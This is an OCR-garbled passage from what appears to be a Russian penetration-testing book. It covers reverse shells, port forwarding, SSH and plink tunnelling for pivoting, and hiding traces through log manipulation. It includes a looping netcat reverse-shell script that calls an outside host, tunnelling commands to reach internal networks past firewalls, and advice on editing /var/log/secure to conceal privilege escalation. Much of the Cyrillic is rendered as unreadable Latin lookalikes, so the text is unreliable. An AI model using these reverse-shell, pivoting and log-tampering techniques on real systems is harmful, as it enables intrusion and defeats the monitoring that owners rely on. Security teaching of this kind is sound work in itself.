Yr106bl COXPAHUTH AOCTYII K L[eJIEBON MalllHe, MOKHO UCIO0Jb30BaTh 0OPaTHBII
mresir. B aToM carydae yke He Mbl OyIeM MOJKJII0UYATHCS K MallliHe, B3JIOMaHHast
crcTeMa OyIeT MOAK/II0UYaThCs K TOMY CEPBEPY BO BHEIIHEH CETH, Ha KOTOPbII Mbl
yKakeM. ITO MOKET ObITh KaK OTAEJIbHBIN CEpBeEp, TaK U KOMIIBIOTEDP, C KOTOPOIO
TTPOU3BOJIUJICST B3JIOM.

BosbinnacTBO (haitepBoJIOB pa3peniaioT COeMHEHUsI ¢ HAXO/SIUMUCS BO BHEITHEH
CeTHU cepBepaMH ¢ KCIIOJIb30BAHUEM CTaHJAPTHBIX OPTOB: BeO-cepBepos (11optoi 80,
443, 8080), mourtosbix cepsepos (mopthl 110, 25 1 T. 1.) niu JF0ObIX APYTUX BHEITHIX
Pecypcos.

Cosmaaum o6paTHBI eyl mpu oMoy netcat. /[t 9Toro HammieM HeGOoIbIIoN
CKPHIIT, KOTOPBIi OY/IET MOCTOSTHHO TPOOOBATH TTOIKIIOUUTHCS K BHEITHEMY CEPBEPY
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J0 TEX TIOP, IOKa Yy HETO 9TO HE ITOJYIUTCA. ITO O3Ha4Ya€T, YTO Mbl MOKEM BBIKJIIOUYUTDH
Halll KOMIIBIOTEDP, a KOI'/la BHOBb €T'0 BKJIIOYHM U 3aITyCTUM netcat B pexxnMme cepBepa,
aTaKOBaHHas MallliHa Cpa3y K€ IMOAKRJIIOYNUTCA K HEMY CaMOCTOATEJIbHO.

[IpuBenem mpuMep TAaKOTO CKPUIITA!

#!/bin/sh

while true : do

nc 156.54.123.4 80 -e /bin/sh
done

Ha cBoem KOMIIbIOTEPE HaM H€'06XO,ZII/IMO 3allyCTUTb NC B PEKNUME CEPBEPaA, U XOT:A
BbI YK€ 3HACTE, KaK 3TO /IeJTa€TCs, HO BCE K€ ITOBTOPUM:

#nc -lvp 80

[epeHanpaBneHne NopToB U TYHHENMPOBAHWNE

TyHnuenupoBanue — 3TO MPOIECC, B X0/I€ KOTOPOTO CO3/IA€TCS JIOTUYECKOE COE/IN-
HEHUE MEX/Ty KOHEUHBIMI TOYKaMU ceTh. Ero cyTh 3aK/I09aeTcst B TOM, YTO TIPOWC-
XOJIUT UHKATICYJISIUS TAKETOB OJIHOTO TUTA TpaduKa B MakeTwl Apyroro Buma. [pu
HTOM HHKAICYJIUPY€EMbIe JaHHBIE OJIKHBI HAXOAUTHCS HA TOM JKe MU 6oJiee HU3KOM
yposHe Moziesin OSI.

[lepenarnpagpienne TOPTOB — 3TO METOJI TIEPEHATIPABJIEHHST IAHHBIX C OTIPEIETIEHHOTO
[opTa JIOKaJbHOIO KOMIIbIOTEPa Ha YaJeHHbI 1 Ha000POT, UCIIOJIb3yeMblil B 3a-
HIUIIEHHBIX (DallepBOJIOM CeTsIX.

B 2011 ry1aBe MBI PACCMOTPUM HEKOTOPbIE BAPUAHTDI IIepeHAIPAaBJIeHUS U TYHHEHU-
pOBaHuA U IPUBE/EM [IPAKTUYECKHe TPUMEPDI UX Hciosb3oBanus. Haunem ¢ camoro
ITPOCTOTO — IE€PEeHAIIPaBICHUS TIOPTOB.

[lepeHanpaBneHne NopToB

[lepenarnpasiieHue IIOPTOB — caMblil IPOCTOM crocob yrpasienus TpadukoM. Ero
CYTb 3aKJII0YAETCS B TOM, YTO MBI IPUHUMAEM CeTeBbIe IAaHHbIC Ha MAIIIUHE C OJIHUM
[P-angpecom u oprom, a 3aTeM InepeHanpassieM Ha apyroii [P-ajapec u mopr.

[IpencTanbre cebe TOCTATOTHO PACTIPOCTPAHEHHYIO CHTYATINIO: BBI TTOIY YT TOCTYTI
C cepBepy, mopkIiodeHHoMy K [1obambHoll cetn untepuer. [Ipogokas pa3BuBaTh
CBO€ HACTYILJIEHHE U MCII0JIb3YSI CKOMIIPOMETUPOBAHHBIN cepBep, Bbl IOJIYYUIN
JIOCTYT K OZIHOU U3 MAIIWH BO BHyTpeHHel ceTu. /locTyn K MHTEpHETY Ha JaHHOU
MaIITIHe 3aKPBIT, BAM JKe 15T TPOIOJUKEHNUS 3aXBaTa MHMPACTPYKTYPbI HEOOXOIUMO
AKTUBHO OOMEHUMBATHCS JIAHHBIMU, 3aTPY:KaTh HYKHbIE HHCTPYMEHTHI U T. JI. Be3
BO3MOKHOCTH HAIIPSIMYIO HIOJKJIIOUUTHCS K YKa3aHHOW MallllHe BbIIIOJIHEHUE BeeX
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JTUX JIEUCTBUIT OTHUMET Y BAC MAaCCy BPEMEHU U CUJI M CJIeJIaeT Bally JaJbHEHTITYTO
paboty Taxenoii (puc. 12.1).

N
ATakytowuin
443 nopTt
N

e

——
t444441443nopT44444J
Monb3oBaTenb Cepsep

Puc. 12.1. Cxema NOTOKOB AaHHbIX 6e3 nepeHanpaeneHus

rinetd

Rinetd — yrunura, ucnosbsyemast st nepenanpasiernss TCP-coequuenuii ¢ of1-
Horo IP-anpeca u mopra Ha apyroit [P-aapec u mopt. ¥YTuiura paboTaer Ha ypOBHE
OTIEPATTHOHHO CHCTEMBI U He TPeGYeT HUKAKOTO CIIEIATLHOTO TPOrPaMMHOT0 06ec-
NeYyeHus Ha CTOPOHE KJIMEeHTA UJIH cepBepa.

Kondurypauumonnbiii daiii rinetd (/etc/rinetd.conf) copep:KuT cTpoKu ¢ 4eThIpbMst
nossiMu: ncxoHbin IP-anpec, ncxoansiii mopr, nesesoit [P-agpec u meseBoit mopr.

YeranosuM rinetd, mo6asuM B ero kondurypannonssiii ¢aiin IP-agpec u nopt noj-
kiouenus, [P-afgpec u mopt repenanpanienus Tpaduka:

root@kali:~# apt-get install rinetd

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:
rinetd

root@kali:~# echo "91.189.94.40 443 10.186.225.128 443" >> /etc/rinetd.conf
root@kali:~# systemctl start rinetd

Terepnb, Koraa Ml Gy/IeM TIOIKIIOYATHCST K BHEITHEMY cepBepy Ha TopTe 443, Bce
coeIMHEHM OYYT TIePEeHATPABASITHCA Ha BHYTPEHHUN KOMIBIOTEp Ha MOpT 443
(puc. 12.2).
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Puc. 12.2. MNoToK AaHHbIX NOCNe rnepeHanpasiieHns

SSH-TyHHenupoBaHue

SSH (Secure Shell) — a10 ceTeBoii IPOTOKOJI, KOTOPBIii IPEAOCTABIISET AAMUHUCTPA-
TopaM Ge301acHbIi CII0CcO6 YAaJIEeHHOTO JOCTYIAa K KOMITBIOTEPAM U JIPYTUM CETEBbIM
yerpoiicteam. SSH coszpaer sammdposanHblii kaHas A 6e30macHoN nepegaun
JAHHBIX MEK/Y KINEHTOM W CEPBEPOM.

[Monyssapraocts SSH 00ycioBiieHa ciieayomumu (haKTOPaMIL

e besonacnocts. SSH ncnomb3yer coBpeMeHHbIE aTOPUTMbI NG POBAHNS 1715
3aIUTHI TIEPEaBaeMbIX TAHHBIX.

e YuuBepcanbHOCTh. SSH ncnonb3yercs 171 pelieHus MIPOKOTo CIeKTpa 3a/1ad,
BKJIIOUAST yJAJIEHHOE /IMIHICTPUPOBAHNE, Tiepeaady (HaiiioB U TYHHETINPOBAHIE
TTOPTOB.

o [lupoxkas nogaep:xka. SSH paboraer ¢ 60JIbLUIMHCTBOM OIIEPALMOHHBIX CHCTEM,
BrJouas Linux, macOS, Windows.

e [Ipocrora ncrosab30BaHMS.

MepeHanpaBneHne ToKanbHOro nopTa

SSH Local Port Forwarding — mpotiecc, iprt KOTOPOM CO3/1aeTCsT HE30TacHOE CO-
eJlHEHNE JIJIsT TlepeHarnpasienus Tpapuka yepes SSH-cepsep.

Pabotaer 210 cireayomum 0OpasoM:

1) kawment ycranasiuBaeT OesomacHoe SSH-coenHeHne ¢ YIaJeHHBIM CEPBEPOM.
Bech Tpaduk, uaynimii yepes aToT TyHHEJIb, OyAeT 3auudpoBaH;

2) Ha KJIMEHTCKOM KOMITBIOTEPEe OTKPBIBACTCS CIIEIUAIBHBIN (JIOKAJTbHBIN) MTOPT;
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3) Bech TpaduK, OTIPABJISIEMbIN HA 9TOT JIOKAJIBHBII TTOPT, OYAET TepeHanpaBIeH
yepe3 SSH-tyHHeb Ha olpe/iesIeHHBII MOPT Ha y/laJleHHON MalluHe WJId Ha
IPYTYIO MAIIIUHY, IOCTYIHYIO Yepe3 3Ty YAAJEHHYIO0 MAIIUHY.

JlaHHBIN TTPUEeM MOJKeT MPUTONTHCS BaM B HECKOJIBKMUX caydasx. [lepsas u vare
BCEro BO3HUKAIONAs CUTYalldsl — JOCTYII K BHyTPEHHUM cepBucaM. Bbl MokeTe 1oury-
YUTH IOCTYT K MAIIHHE C BEIXOJIOM B [JT06aIbHYTO CeTh, a 4epe3 Hee — AOCTYIT K KOM-
IbIOTEPY BHYTPU ceTu. Takoii ciieHapuii Mbl pacCMaTPUBAJIN B IPEABIAYIIEM CIIyyae.
[l IpotosKeHNs aTaky Ha BHYTPEHHIOIO CeTh BbI MosKeTe co31aTb SSH-TyHnHeb.

Bropoit BapuanT mpumeHeHst — g poBaie, KOTOPOTO BB HE TOOHETECH, ICTIOIb-
3y rinetd. IlTucposanme mo3BoINT BaM yOUTDH Cpa3y ABYX 3aiities. [1epBoiil — 06X0/T
IDS/IPS. HekoTopsie u3 HUX, HE UMes BO3MOKHOCTH MTPOBEPUTH, UTO 32 JaHHbIE
HepealoTCst MEeKY ABYMsI MAIIIMHAMME B CETH, TPOCTO HUKAK HA 9TO HE OTPEArHpYIOT,
1 BBl OCTAHETECh HE3AMEYECHHDIM.

Bropoii «3asti» — 310 MpuBaTHOCTH. Kak yike TOBOPHIIOCH, BBI JOJKHBI YOEIUTHCST
B TOM, UTO JIOObIE [TOJIyyaeMble B XOJIe ay[UTa JaHHbIe XPAHATCS U IePeaaroTcst
MaKCcHMaJIbHO OesomacHbiM criocobom. Mcmoabszoanne SSH-TyHHEIEH O3BOIUT
PELTh 9Ty IPodIIeMYy.

Jlist Hatero npuMepa BoO3bMeM ClieHapuii, abCOIIOTHO UAECHTUYHBII PACCMOTPEHHO-
MY B TIPEIBIIYIIEM IIPUMEPE, TOJBKO TeNePh Peain3yeM IMepeHarpaBieHe moToka
JaHHBIX yepe3 SSH:

$sudo ssh -N -L -p 443 0.0.0.0:443:10.186.225.128:443 john@91.189.94.40

BoirostHMB 9Ty KOMaH Ly Ha HallleM KOMITBIOTepe, MbI IOJTy4uM ciefyiotiee (puc. 12.3):

® Bech TpadUK, KOTOPBIIL OIAET Yyepes mopT 443, OyaeT mepeHanpapieH Ha BHyT-
PEHHUI cepBep KOMITAaHUU;

ssh -N -L -p 443 0.0.0.0:433 ...

ATakytowmn 443
443 nopt

10.186.225.128:443 W D
= =
nopt
: PT, XX
i

EXXS john@o1.189.94.40

E — —
: L nopT ——
: MNMonb3oBatenb Cepsep

Puc. 12.3. lNepeHanpasieHne nNopToB C UCMOMb30BaHNeM SSH
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® MbI UCIIOJIb3yEM CKOMHpOMeTI/IpOBaHHHﬁ CEpBEP JIA O0CTYIIa K MalllnHe, Y KO-
TOpOI>,I HET COeIMHEHMS C BHEIIHUM MUPOM;

® Bech Tpaduk mudpyercs;

® MBI 00XOZMM OTpaHUYeHUS (hallepBOJIa, UCII0Mb3YsT HECTAHAAPTHBINA MTOPT JJIsk
noakaoueHnst K SSH.

nepeHanpaBneHme yAaneHHoro root@83.99.16.5

.-

SSH Remote Port Forwarding — merox, npu mo- )
MOII[! KOTOPOTO MOXKHO TI€PEHAIPABJIATh TPpahuk ATaK;I\OLLWIIZ

¢ opta Ha yzaseHHoM SSH-cepBepe Ha yKa3aHHBI 25 nopt 5900
MOPT Ha JIOKAJbHOU MalnHe (MU Ha APYyroi ynaa- = :
JIEHHOH MalHe ). ITO 03HAYAET, UTO BCE MOJKIII0YUe- AEAEAr N ;
HIISI, IOCTYIAOIIME Ha OTpe/ieIeH bl mopt Ha SSH- e e e
cepsepe, OYAYT aBTOMATUYECKY TTePEHATPABICHDI e s i :
yepe3 SSH-TyHueb. T m
[IpencraBbre, 4TO BaM yAAIOCHh MOJTYUYUTH HOCTYII 25 nopT%g
K yIAJTEHHOMY KOMITHIOTEDPY, TIOJYUUTD XEITH mapo- e
Jieif, a TI0 HUM y3HaTh camu maposm. Ha kommbiotepe Cepsep
ectb VNC-cepsep, paGoraronuii Ha mopre 5900. Bea 127.0.0.1:5900

B TOM, YTO HAIPSIMYIO K JaHHOMY KOMIIBIOTEDPY BbI
MOJAKJIIOUNTHCI HE MOYKeTe, OJJHAKO C HEr0 MOYKHO
HOJKJIIOYUTHCS K BHEITHUM PeCcypcam, UCIOIb3YsI
mopter 80, 443, 25 (puc. 12.4).

Puc. 12.4. YaaneHHoe
nepeHanpasieHne NnopTos
C Ucnonb3oBaHneM SSH

john@office:~# ssh -R -N -p 25 83.99.16.5:25:127.0.0.1:5900 root@83.99.16.5

Tenepb ycTaHOBJIEHO MOJIKJIIOYEHME K BallleMy KOMIIBIOTEPY € YJAJIeHHOH MallluHbl
u BbI 6e3 pobiieM cMoskeTe noakaounThest K VNC-cepsepy B 06xoj1 (aiiepsouia.

JnHaMnyeckoe nepeHanpasieHne nopToB

Camas WHTEPECHaA 9aCThb — AMHAMHWYECKOE IIepeHaIipaBJIcHNEe ITOPTOB, OHO TTO3BOJIA-
€T CO3/1aTh Ha JIOKAJIbHOM KOMITBIOTEPE CBOETO poJa ITPOKCHU-CEPBED, Yepe3 KOTOpblf/'I
6y]_I€‘T OCYHIECTBJIATBCA TYHHEJIMPOBaAHNE Tpa(l)I/IKa.

BBozmble 1aHHbIe HEMHOTO U3MeHSTCsI. [IpeacTaBbre, 4TO BaM yAanioCch B3JIOMATh
cepsep, HaxoAIuiics B cetu DMZ, a y Hero ectb JOCTYII K yOJIMYHON ceTu yepes
nopt 80. Coznaznm Ha cBoeM KommbioTepe SOCKS4-nipokcu, KOTopsiil Oyaer pabo-
TaTh ¢ ucrnoab3oBanrem nopra 80 n mepenanpassAaTh Tpaduk yepes SSH-Tynnennb
K J1060My 13 cepepos B ceti DMZ (puc. 12.5).

J11s1 3TOrO HA CBOE MAIlIHE BBIIIOJTHUM:

$sudo ssh -N -D -p 80 127.0.0.1:80 john@93.86.15.20
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Puc. 12.5. lnHaMmnyeckoe nepeHanpasfieHne nopToB C UCNONb30BaHNMeM SSH

Ho ato0 ere He Bee, 7151 BHITIOJHEHUST IUHAMUYECKOTO TIepEeHAIIPABIeHNsT HAM TIOHA-
nobures Bropas yrusiuta — proxychains. 9o GecriiaTHas yTUINTA, TIO3BOJISIONIA
m06oit mporpamme, pabora kotopoil ocnosana Ha TCP, nepecbliaTh CBOM JaHHbIE
gepes 1enouky npokcu-cepsepoB — TOR, SOCKS4, SOCKSS nm HTTPS.

Jlist paBoTHI ¢ HAIIMM TYHHEJIEM BHECEM HEKOTOPBIE TIPABKU B KOHMDUTYPAIMOHHBIIT
daiin /etc/proxychains.conf:

[ProxyList]
socks4 127.0.0.1 80

Teneps Bce roToBo. /111 TprMepa 3aIryCcTIM NMap, KOTOPBIH MTPOCKAHNPYET BHYTPEH-
HIOIO CeTh OPTAaHU3AIINH, UCTIONb3Ys co37ianHbiil Hamu TyHHEe b 1 SOCKS4-rpokcen:

$sudo proxychains nmap --top-ports=30 -sT -Pn 10.186.225.0/24

Plink

[Tocsie TpouTEHUsT TPUBEIEHHOTO BHINIE MaTepUaia ¥ BAC HABEPHIKA BOSHUK BO-
poc: a 9to ke jgeaarh ¢ Windows-marmnnamu, Be/ib B COBPEMEHHO#T CeTH MX 0OBIYHO
JIOCTATOYHO MHOTO U, YYUTBIBASA OrPaHUUYEHHbIE TPABa TOCTYIIA, HE TAK-TO MPOCTO
ycranouth Ha HUX SSH-cepsep? Ha Boipyuky npuxoaut plink.

PuTTY Link, uiau Plink, — koHconbHas yTuINTA, pacipocTpaHseMas BMECTe
¢ PuTTY (uonynsapusiii SSH- u Telnet-kauenT). 9Ta yTuauTa npeaHasHadeHa st
asromarusaruu paborel ¢ PUTTY u PSCP (PuTTY SCP client), npermytiiecTBeHHO
B CKPHUIITaX.
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Plink MOHO MCIIOIB30BATH /IS IOAKJIIOUEHUS K YAAJTCHHBIM CEPBEPAaM U BBITIOJIHE-
HUS KOMaHJ, Tak ke Kak 1 B kiaccuueckoM SSH. Onnaxo Plink o6sazaeTt Heckounb-
KUMU KJIIOYEBBIMU OCOOEHHOCTSIMU:

e tnockosbky Plink cosnana mis Windows, ora paboTaeT XOpolio ¢ APYTrHMH [po-
rpaMMaMM 3TOH OTePaIMOHHON CHCTEMBI M MOKET OBITh MCIOJIb30BaHA B KOMAH/I-
Holi ctpoke Windows u ckpunrax PowerShell;

e nomumo SSH, Plink nogepsxusaer Telnet, Rlogin u mporokosist raw TCP.

ITpeanososKiM, HaM yAaJ0Ch IPOHUKHYTh Ha MAIuHy 1oz yipasaeHueM Windows 10
U TIOJTyIUTH OGPATHBIH MIEJLT; TOCMOTPHM, YTO MBI MOJKEM C/IE/IATh JATbIIE.

[IepBoe neticTBuUE, KOTOPOE pacCMAaTPUBAIOCDH B IIPEBIAYIIEH I1aBe, — 3TO Tiepefavya
baitra. Bropoe, 4TO MBI JIOJKHBI BBITIOJHUTD, — OCYIIIECTBUTD TIONCK TIOPTOB, Yepe3
KOTOPbIe BO3MOKHO IIOJIKJII0YEHNE.

[TpemromnoskumM, mocie peleHnst TUX ABYX 33124 MbI TIOHSJIU, YTO XOTUM HCII0JIb-
3oBaTh TOpT 3389 g noxkmoderns kK RDP-cepsepy. /L5 aToro Ha B3j0MaHHOM
MallTHe BBIITOJTHIM CJIeYIONIYI0 KOMAHY:

C:\Users\test\Downloads> plink.exe -ssh -1 root -pw testl1234 -R 10.83.10.2:
1234:127.0.0.1:3389 10.83.10.2

Wrax, mbl ipumennn yruauty Plink aus cospanns SSH-TyHHES ¢ MCIIONb30BaHU-
em potokoJia Remote Port Forwarding co cieayrormmmu mapaMeTpamu;

® plink.exe — ucnonnsembiii gaiin yruaurst Plink;

® -ssh — ucnosb3oBanre SSH-1IpoTOKOJIA /IJIs TIOAKIIOYEHUS K YIAJTEHHOMY Ccep-
BEpPY;

® -1 root — ykasaHue UMEHH TI0JIb30BATEJIs LIS TOAKIIOYEHUS K YAAJIECHHOMY
cepBepy;

® -pw test1234 — mepenmada mapoJis AJist HOJb30BATEISI FOOt;

® -R 10.83.10.2:1234:127.0.0.1:3389: 10.83.10.2:1234 — ykazanue [P-
ajzipeca ¥ MopTa, Ha KOTOPBIX OyAeT IIPOCIYLUIMBATHCA YIAJEHHBbI CepBep;

127.0.0.1:3389 — ykaszanue [P-ajpeca u nopra, Ha KoTopbie Oy/IeT TepeHa-
MPaBIATLCSA TPAPUK.



CoKkpbiTHe cnenos

YT00BI TIPOIOJLKATE YCIEITHO SKCIIYaTUPOBATh 3aXBAYEHHYIO CUCTEMY, HaM HAJ0
MOCTAPaThCS CKPBITH caM (haKT CBOETO TIPUCYTCTBUS B ee nH(ppacTpyKType. Mol yike
Hay4nInch 0OXOIUTD MpaBuJIa (haiiepBoia 1 epeiaBaTh JaHHbIE B 3aTH(POBAHHOM
BHU/IE, Terepbh OCHOBHOMW 3ajiaueii Gy/IeT COKPBITHE CJIE/IOB, OCTABJSIEMBIX Ha MallliHe,
KOTOPYIO MBI 9KCILIIyaTUPYEM.

B niepByto ouepesb Mbl OyzeM oOpaiath BHUMAaHNE, KOHEUHO, Ha JKYPHAJIBI ayIUTa
usn Jtor-aitssl. Jlor-daiiibl copepxaT nHGOPMAIIMIO O COOBITUIX, TIPOUCXOAANIINX
B OIIEpaLMOHHOIL cucTeMe Wiln JIIoGOoM APYroM IporpaMMHoM obecniedennn. Kaxmast
3anuch B Jor-gaiine 00bIYHO COAEPKUT MHPOPMALIUIO 0 KOHKPETHOM COOBITUH, KO-
TOPOE TIPOUBOIILTIO B ONPe/IeJIEHHBIIT MOMEHT BPEMEHH.

.HOI‘-(l)anIbI HCITOJIB3YIOTCA B CJIEAYIOINX IEJIAX:

® OTJiaJIka — I1OMOTralOT B BbIsIBJI€EHUU U I/ICHpaBJIeHI/H/I OH_[I/I6OK B HPI/I]IOHQCHI/IHX;
e ayxurt 6esonacuoct VIC;

® MOHMTOPHWHI IIPOM3BOJIUTEIBLHOCTH — cojiepKaliiascs B jor-aiiax nuhopmarms
0 IIPOM3BOIUTEIBbHOCTH CUCTEMBI MTO3BOJISET /IMUHUCTPATOPAM OIITUMU3UPO-
BaTh €¢;

® (e30macHOCTb — MOTYT ITOMOYb a/IMUHUCTPATOPAM BBIABUTD MMOJO3PUTEIILHYIO
AKTNBHOCTD.

CucremMHuble aIMUHUCTPATOPBI IOJKHBI U3YUYaTh JIOT-(haiiIbl, XOTS WHOT/IA MTPeHe-
Gperaot 3Toi 00s13aHHOCTBIO. V3yueHne MOKET IPOUCXOIUTD B PYYHOM PEKUME, HO
BCe Yallle U vyarie a/IMUHUCTPATOPbI uctosb3yioT 110, koTtopoe genaet aTo 3a Hux. Ha
CaMOM JIeJie 3TO MTPaBUIILHO, Be/lb OJIHA GoJiee-MeHee KPYITHast CHCTEMa MOJKET TIPOH3-
BOJMTH CTOJIBKO 3allKCeil B CBOI JKyPHAJI, CKOJIBKO UeJIOBEK HE CIIOCOOEH BIYMYUBO
MPOYUTATH 32 TO/I.

Manunynauus nor-cdannamm

Wrak, Mbl IOHAIN, /I YeTO aIMUHUCTPATOPAM HY>KHBI JIoT-(hailsibl, Ternepb pas-
GepeMcst ¢ MX THIAMU. YCJIOBHO MOJKHO Pa3/le/IUTh JKYPHAJBI HA [BE YACTH: T€, YTO



302 Mnaea 13 e CokpblThe cneaos

BEJZIET CUCTEMAQ, U TE€, YTO BEAYT NPUJTOKCHUA. Mur JLOJIZKHBI 6leEM MaHUITYJINPOBAaTh
U TEMU U IPYTUMU B 3aBUCUMOCTH OT KOHTEKCTA, B KOTOPOM pa60TaeM.

[IepBoe, UTO MPUXOUT B TOJIOBY B IAaHHOW CUTYyalluH, — yIAJNUTh TOJHOCTHIO BCE
soru. KoHeuHo, 3TO TTOMOXKeT HaM 3aMeCTH BCe CJIEBI, HO C IPYTOil CTOPOHBI, 3TO
He Takas Xoporras uest. Bo-mepBbix, 3aka3umk Oy/eT He paji TOMY, 4TO BbI CTEPJIH
JIOTH C CEPBEPOB, BE/Ib 10 3aKOHY HEKOTOPBIE M3 HUX OH 00sI3aH XPAHUTDH HECKOJIBKO
siet. Bo-BTOPBIX, yIajieHue JOTOB MOJKET BbI3BATh cHOOil B cHcTeME, O ueM 0OBIYHO
aJIMUHUCTPATOPBI 1TOJIYYaloT YBeJOMJICHNE.

IToaTOMY MBI OCTAHOBMMCST HA TOM, UTO Oy/IleM MaHWUITYJIUPOBATH 3AIMCSIMU B JIOT-
baitmax. OaHAKO yYTUTE, YTO HEKOTOPbIE OpPraHnu3allii MOTYT UCIIOJIb30BATD 1IeHTpa-
JIM30BAHHbIE CUCTEMBI XpaHeHMst 1 00pabOTKY JKypHATIOB ayanuTa. B nanHoM ciydae,
Jlaske ecyin Bbl MOCT(hAKTYM U3MEHHUTEe KaKkue-Iubo 3amucu B Jor-daiinax, 6ymaer
yoKe 11031H0. HensaMeHeHHast 3aMUCh MOMA/IET HA cepBep, OY/IET TPOaHAU3MPOBAHA,
U BaIlly AeATEIBHOCTb PAcKpoIoT. Ha camom fiesie B peasbHOM JKM3HU CIIPABEJINBO
BCe CKa3aHHOE, 32 MCKIIOYCHNEM TIOCTeHET0. BBUY TOTO 9TO YacTO CHCTEMBI 3a-
IUTHI OBIBAIOT CKOH(MUTYPUPOBAHBI HE COBCEM MPABUIBHO, A[MIHUCTPATOPHI He
[OJIYYalOT YBEJAOMJICHUH WM [TOJYYaloT UX CJAUIIKOM MHOTO, U Ballld IelCTBUS,
CKOpee BCEro, OCTAaHYyTCS He3aMeUeHHBIMU.

3anucu o0 Nonb3oBaTensax

MDaiin /var/log/secure sIBJISIETCST OTHUM M3 Ba)KHEUIIINX CUCTEMHBIX JIOT-(hallI0B
B Linux, ocobeHHo B Takux ocHoBaHHbIX Ha Red Hat muctpubyrusax, kak CentOS
u Fedora. 9ror daiisn coaepkuT nHOOPMALHIO OT PAsIMIHBIX ¢JIy:K0, BKIoyas SSH,
sudou . 11.

Crpykrypa (aiina gocraTouno npocra. Kaxkaas crpoka mnpeacrasisier coboii oT-
JeJNbHYTO 3aIUCh, HAYMHAIONIYIOCS C BDEMEHHOW METKH, 32 KOTOPOIl CJIEAYeT MM
X0CTa, UMST CITYsKOBI WJIK TTPOIlecca, CreHEPUPOBABIIETO COOOIIEHNUE, a 3aTeM UAET
camo coob1eHue.

ITpumep 3anucu B /var/log/secure:

Nov 15 20:30:01 localhost sshd[1234]: Failed password for root from
192.168.1.101 port 22 ssh2

31ech ckazano, 4yTo 15 Hos6ps B 20:30:01 ObLia HeygauHas MOIIBITKA BXO/A [10JIb30-
BareJist root uepe3 SSH ¢ TP-anpeca 192.168.1.101.

Yro0bl HANTH HOIBITKY BXOAA B CUCTEMY, MCIOJIb3yiiTe KoMaH1y grep. Hampumep,
€CJIM BaM HAJI0 HAlTU BCe HeyauHble MONbITKY BXo/a yepe3 SSH, 3ajiaiite ciemnyio-
Y10 KOMaH/TY:

grep 'Failed password' /var/log/secure

ITa KOMaH/la BEPHET Bce CTPOKH, cozepsxkarue ¢pasy «Failed passwords, kotopast
0OBIYHO CBUETEIBCTBYET O HEYAAUHBIX TOIBITKAX BXO/A.
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Pacemorpum emte omnn mpumep. [Ipeamnosnoskim, BbI HECKOTBKO pa3 MbITAINCH T10-
BBICUTH CBOU IIPUBUJIETMH B CUCTEME M Y BaC 3TO IOJYYUJIOCH, HO Tellepb HYKHO
VAQJINTD U3 JKypHaJIa 3alIMCH O CBOUX JIeNCTBUAX. Hey/raunble MONbITKY MOBBIIIEHUS
npuBUIernii 00bIuHO oToOpaskaioTes B daiine /var/log/secure Kak pe3yIbTaThl Bbl-
ITOJTHEHMA KOMAaH/IbI sudo.

HpI/IMep 3allicH1 Heyaaquﬁ MOTIBITKU UCIOJIb30BaHUA sudo MOYKET BBITJISAIETD TaK:

Mar 1 14:15:40 localhost sudo: john : 3 incorrect password attempts ;
TTY=pts/@ ; PWD=/home/john ; USER=root ; COMMAND=/bin/ls

ITa 3aMKCh CBUIETETBCTBYET O TOM, YTO MOJIH30BATEIb JOhn MBITANCS BHITOJIHUTD
KoMaH/y 1s ¢ ToMolIbIo sudo (¢ IIpaBaMu 110JIb30BaTe I oot ), HO BBEJ HEIIPABUJIb-
HBII TIapoJib TPH pasa. B gaHHOM ciydae TTY=pts/@ o603HaYaeT TePMHUHAJ, C KOTO-
poro 6blyia BBITIOJIHEHA KOMaH/[a, PWD=/home/john yKka3biBaeT Ha pabOUUil KAaTAJIOT,
r7te oHa OblIa BBIOJIHEHA, a COMMAND=/bin/1s coobmaet, Kakasd KoOMaHa 10/ KHA
6bL1a GbI OBITH BBITIOJIHEHA.

XXypHanbl NpunoXeHuim

@aiin /var/log/messages 06LIYHO CIYKUT JJIsl XPAHEHUs OOIIMX COOBIIEHMIT O CH-
CTEMHDbIX CO6bITI/IHX, KOTOPbIE HE OTHOCATCA K 6630HaCHOCTI/I WNJIN aBTOpU3alinum, — 3T
COOBITHS, B 3aBUCUMOCTHU OT AUCTPUOYTHBA, 3amuchiBatoTest B /var/log/secure nim

/var/log/auth.log.

B /var/log/messages XpaHsATCs JIOTH PA3IMYHBIX CHCTEMHBIX CITYIKO 1 sI/IPa CUCTEMBI,
BKJI0Yast MHGOPMAIIMIO O 3allyCKe U OCTaHOBKe ciIy:k0, coobiierus: 06 ommoKax,
MPEAYNIPERICHIS U IPYTYIO IUarHOCTIYeCcKy1o nHpopmarmio. Kaxaas ctpoka mpe-
craBJisieT co00il OTAENbHYO 3aITUCh, HAUMHAIOTIYFOCS ¢ BDEMEHHON METKH, 32 KOTOPOU
CJIeIyeT UM XOCTa, UM CIYKOBI WM TPOIECCA, CTEHEPUPOBABIIIETO COOOTIEHTE,
3aTeM CJIEeyeT caMo COOBIIeHHe.

ITpumep 3amnucu u3 daiira /var/log/messages:

Jan 1 12:34:56 localhost kernel: [12345.678910] usb 1-1: new high-speed USB
device number 2 using ehci-pci

B sroiit 3anucu roBopurcest, uto 1 staBapst B 12:34:56 6b1710 niosikIII04eHO HOBOe USB-
YCTPOMCTBO.

ITpocMmoTpers copepkumoe daiina /var/log/messages MOKHO ¢ TIOMOIIBIO KOMaH/I
cat, less i tail. YToObI IPOCMOTPETD TOIBKO MOCAEAHIE 3AIICH, UCIIOIb3YITe
KomanHay tail, Hanpumep: tail /var/log/messages.

Ber yike, HaBepHOE, 06paTUIM BHUMaHUe Ha TO, uTo B Unix u Unix-mogo6HbIX
OTIepPAIMOHHBIX crcTeMax (BKJIOUas Linux) cTaHIapTHBIM MECTOM JIJIST XPAHEHWS
Jior-aiiios sBisercs Kataior /var/log. Kaxiplii cepBuc niim npuiokeHne oObIaHO
3aIMCBIBACT CBOU JIOTH B OJIMH WJIM HECKOJBKO (haiijIoB B 9TOM KaTajore Ui B €ro
MOJIKaTaJIore.
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Camu (l)af/,UIbI JIOTOB 3aIlTMCBhIBAIOTCA, KaK IIPpaBUJIO, B TECKCTOBOM (bopMaTe 1 COCTOAT
13 OTZIEJBbHBIX CTPOK, KaK/[asd N3 KOTOPBIX ITPEACTABJIACT co0boli 3armce B JKYpHaJI€e.
3anmcn 0OBIYHO HAYMHAIOTCS C BpeMeHHOﬁ METKH, 3aTE€M CJIEAYET NM:A CEPBUCA NN
Tporiecca, KOTOprﬁ CTeHEepUpOBaJI 3alICh, a 3aTEM CaMO COO6H.I€HI/IC.

